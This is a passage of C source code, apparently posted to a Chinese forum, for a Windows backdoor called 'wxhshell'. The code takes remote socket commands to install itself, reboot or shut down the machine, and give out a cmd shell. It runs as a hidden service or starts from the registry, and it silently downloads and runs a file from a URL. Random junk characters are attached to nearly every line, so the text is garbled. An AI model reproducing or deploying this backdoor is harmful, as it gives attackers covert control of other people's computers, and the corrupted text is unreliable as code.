  case '?': { jR"ACup(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4#ZZwa]y  
    break; mBDzc(_\$'  
  } uM2 .?>`X  
  // 安装 Q\aC:68  
  case 'i': { *C,1 x5  
    if(Install()) k.wm{d]J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nw=:+?  
    else Z(BZG O<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gqDSHFm:  
    break; vpoJ{TPO  
    } #4F0o@Z  
  // 卸载 .:iO$wjp5  
  case 'r': { `A$zLqz)Vm  
    if(Uninstall()) 9%DLdc\z;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oo x,4 &  
    else URMxCL^"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _s+_M+@et  
    break; TeH_DVxj  
    } OGPrjL+  
  // 显示 wxhshell 所在路径 a t%qowt  
  case 'p': { @Wd1+Yky  
    char svExeFile[MAX_PATH]; =]P|!$!}0  
    strcpy(svExeFile,"\n\r"); 9KMtPBZ  
      strcat(svExeFile,ExeFile); .}3K9.hkr  
        send(wsh,svExeFile,strlen(svExeFile),0); m>+ e;5  
    break; I G B)  
    } xDIl  
  // 重启 H'x_}y  
  case 'b': { 92Rm{n   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %RXFgm!{f  
    if(Boot(REBOOT)) eI+p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [W=6NAd  
    else { [#/@ v/`  
    closesocket(wsh); <ugy-vSv  
    ExitThread(0); ;D}E/' =  
    } Y{ w9D`}  
    break; cT# R B7  
    } :jGgX>GG  
  // 关机 ^'$P[  
  case 'd': { Sxc p [g;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JvM:xy9  
    if(Boot(SHUTDOWN)) &Tk@2<5=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]gmkajCzD  
    else { 'Jl73#3  
    closesocket(wsh); {r1}ACw{  
    ExitThread(0); N|asr,  
    } H`NT`BE  
    break; `<* tp@  
    } rF=\H3`p3  
  // 获取shell vS G vv43G  
  case 's': { nH|7XY9"  
    CmdShell(wsh); YbuS[l8  
    closesocket(wsh); W.TdhJW9  
    ExitThread(0); VHx:3G  
    break; 6G<gA>V  
  } B#[.c$  
  // 退出 O8 5)^  
  case 'x': { YFs!,fw'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >npFg@A  
    CloseIt(wsh); Vnnl~|Xx  
    break; 8o!LgT5  
    } ;g_<i_ *x#  
  // 离开 KNqs=:i  
  case 'q': { <6!/B[!O=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g5~wdhpb  
    closesocket(wsh); fi';Mb3B3  
    WSACleanup(); _:VIlg U  
    exit(1); !Bn,f2  
    break; br4 %(w(d  
        } yIma7H@=L  
  } GaLQ/V2R  
  } R9O1#s^  
.@3bz  
  // 提示信息 nx@ h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?m dGMf)  
} 3}2a3)  
  } O@sJ#i>  
poVtg}n  
  return; ]?(_}""1  
} TV*@h2C"i  
4'`y5E  
// shell模块句柄 BHJS.o*j~  
int CmdShell(SOCKET sock) #lO~n.+P  
{ 8 J;\Z  
STARTUPINFO si; _vr;cjMI  
ZeroMemory(&si,sizeof(si)); !r`/vQ #  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0M 5m8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s)j3+@:#  
PROCESS_INFORMATION ProcessInfo; T{zz3@2?  
char cmdline[]="cmd"; C^nTLw;K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HR$;QHl~F  
  return 0; F]6$4o[  
} W,ik ;P\  
Wtqv  
// 自身启动模式 q ,*([yX  
int StartFromService(void) OmAa$L,'w  
{ >PoVK{&y  
typedef struct fQ_(2+ FM  
{ 5nv1%48Ri  
  DWORD ExitStatus; Kzrt%DA  
  DWORD PebBaseAddress; B dKD%CJ[  
  DWORD AffinityMask; )@a_|q@V  
  DWORD BasePriority; gkL{]*9&%  
  ULONG UniqueProcessId; |7%#z~rT  
  ULONG InheritedFromUniqueProcessId; !7jVKI80  
}   PROCESS_BASIC_INFORMATION; jRNDi_u?Wb  
^Bu55q  
PROCNTQSIP NtQueryInformationProcess; :XeRc"m<  
U['|t<^uf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iuS*Vw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I"bz6t\~|  
?"L ^ 0%  
  HANDLE             hProcess; 2^4OaHY88  
  PROCESS_BASIC_INFORMATION pbi; 0. mS^g,M-  
g~]?6;uu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l{4rKqtX  
  if(NULL == hInst ) return 0; vnD `+y  
u @#fOu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -mY,nMDb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @t4OpU<'*b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +S ],){  
1AAOg+Y@U"  
  if (!NtQueryInformationProcess) return 0; s0*@zn>h  
_q=ua;I&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vk.P| Y-;  
  if(!hProcess) return 0; G*%:"qleT$  
!"<~n-$B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /nB|Fo_&Q  
B\Uocn  
  CloseHandle(hProcess); 3V%ts7:a  
2./;i>H[u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G- eSHv  
if(hProcess==NULL) return 0; =SV b k  
17F<vo>l%  
HMODULE hMod; )SyU  
char procName[255]; _kT{W]   
unsigned long cbNeeded; !Z<=PdI1Ys  
tQ(4UHqa~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ubUVxYD?  
=Hx]K8N)  
  CloseHandle(hProcess); t[o_!fmxZ  
20cEE>  
if(strstr(procName,"services")) return 1; // 以服务启动 Kjt\A]R%  
()e|BFL.  
  return 0; // 注册表启动 Fx )BMP  
} /X%+z5  
I`;SA~5  
// 主模块 #jM-XK  
int StartWxhshell(LPSTR lpCmdLine) D|$Fw5!^k6  
{ il% u)NN  
  SOCKET wsl; IR|#]en  
BOOL val=TRUE; .zv BV_I  
  int port=0; ;b!qt-;.<  
  struct sockaddr_in door; Go(Td++HS  
n+S&[Y  
  if(wscfg.ws_autoins) Install(); 1P?|.W_^1  
Q) =LbR{#  
port=atoi(lpCmdLine); '^M.;Giz  
ZlP+t>  
if(port<=0) port=wscfg.ws_port; !<?<f db  
8p]9A,Uq&  
  WSADATA data; hlmeT9v{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t~|J2*9l  
=Y Y 7V!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7 j6<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K/K|[=bl  
  door.sin_family = AF_INET; bvS6xU- J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \/ ipYc  
  door.sin_port = htons(port);  hLj7i?  
Kc, i$FH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %77uc9}  
closesocket(wsl); 9BAvE\o0  
return 1; FLX n%/  
} :Iuc H%6V  
S%aup(wu6  
  if(listen(wsl,2) == INVALID_SOCKET) { Da8 |eN}   
closesocket(wsl); -Nn< pq  
return 1; Y&H<8ez  
} B<i(Y1n[  
  Wxhshell(wsl); %%N T m  
  WSACleanup(); )FNn  
@JGFG+J}  
return 0; |<'6rJ[i>  
7hTpjox2  
} U$Z<lx2P  
YxrMr9>l1  
// 以NT服务方式启动 NfnPXsad  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i&?\Pp;5-j  
{ ;dPaWS1D  
DWORD   status = 0; Qj|rNeM_  
  DWORD   specificError = 0xfffffff; No)0|C8:  
Va?i#<a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -DK6(<:0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tDRo)z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S~)`{ \  
  serviceStatus.dwWin32ExitCode     = 0; <bb!BS&w  
  serviceStatus.dwServiceSpecificExitCode = 0; {Wi*B(  
  serviceStatus.dwCheckPoint       = 0; y0`; br\X  
  serviceStatus.dwWaitHint       = 0; a"X h  
} C:i0Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7B=VH r  
  if (hServiceStatusHandle==0) return; Z,O* p,Gzn  
m#8(l{3|  
status = GetLastError(); Hi$R"O (  
  if (status!=NO_ERROR) 3E^qh03(  
{ ;mT}Q;F#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^lt2,x   
    serviceStatus.dwCheckPoint       = 0; }X?#"JFX?  
    serviceStatus.dwWaitHint       = 0; URs]S~tk  
    serviceStatus.dwWin32ExitCode     = status; Li]96+C$}  
    serviceStatus.dwServiceSpecificExitCode = specificError; tjt^R$[@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Le:C8^  
    return; WG3!M/4r H  
  } EQ ee5}  
}8" |q3k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oKsArZG  
  serviceStatus.dwCheckPoint       = 0; n1{[CCee@  
  serviceStatus.dwWaitHint       = 0; 5!fOc]]Ow  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mvK^')  
} V:'F_/&X?  
C#nT@;VO5  
// 处理NT服务事件,比如:启动、停止 icIn>i<m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JRw,${W  
{ YI ?P@y  
switch(fdwControl) `BKb60  
{ Y(bB7tR  
case SERVICE_CONTROL_STOP: &Ap9h# dK  
  serviceStatus.dwWin32ExitCode = 0; \c CH/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v}N\z2A  
  serviceStatus.dwCheckPoint   = 0; L7;~4_M9.V  
  serviceStatus.dwWaitHint     = 0; $BMXjXd}  
  { P%lD9<jED  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lv]%P.=[G  
  } vReX7  
  return; bf0,3~G,P  
case SERVICE_CONTROL_PAUSE: Hp04apM:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .FHk1~\%z^  
  break; y ;Cs#eo  
case SERVICE_CONTROL_CONTINUE: n 5R9<A^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #WSqh +  
  break; E&zf<Y  
case SERVICE_CONTROL_INTERROGATE: ;W|NG3_y  
  break; OU/}cu  
}; O&BvWik  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,\iHgsZ  
} +4_,, I  
KCyV |,+n  
// 标准应用程序主函数 K~vJ/9"|R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x C&IR*  
{ FHQ`T\fC$@  
88v8lt;R  
// 获取操作系统版本 k3qQU)  
OsIsNt=GetOsVer(); (cOe*>L;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d-B+s%>D  
ZI!:  
  // 从命令行安装 uL^; i""  
  if(strpbrk(lpCmdLine,"iI")) Install(); qIQ=OY=6  
Q}@t'  
  // 下载执行文件 MGm*({%  
if(wscfg.ws_downexe) { XQ}J4J~Vm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iVn4eLK^v  
  WinExec(wscfg.ws_filenam,SW_HIDE); &M}X$k I  
} P-Y_$Nv0g  
 Fb(@i  
if(!OsIsNt) { t<Yi!6  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;yomaAr  
HideProc(); 6]b"n'G  
StartWxhshell(lpCmdLine); Pl/ dUt_  
} iibG$?(  
else F)hj\aHm k  
  if(StartFromService()) X6G{.Vh"  
  // 以服务方式启动 \s&Mz;:  
  StartServiceCtrlDispatcher(DispatchTable); _M`ZF*o=c  
else 1z8"Gk6  
  // 普通方式启动 7x6 M]1F  
  StartWxhshell(lpCmdLine); Jx.f DVJ  
*yRsFC{,  
return 0; BS##nS-[  
}
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只看该作者 1 发表于: 2006-10-10
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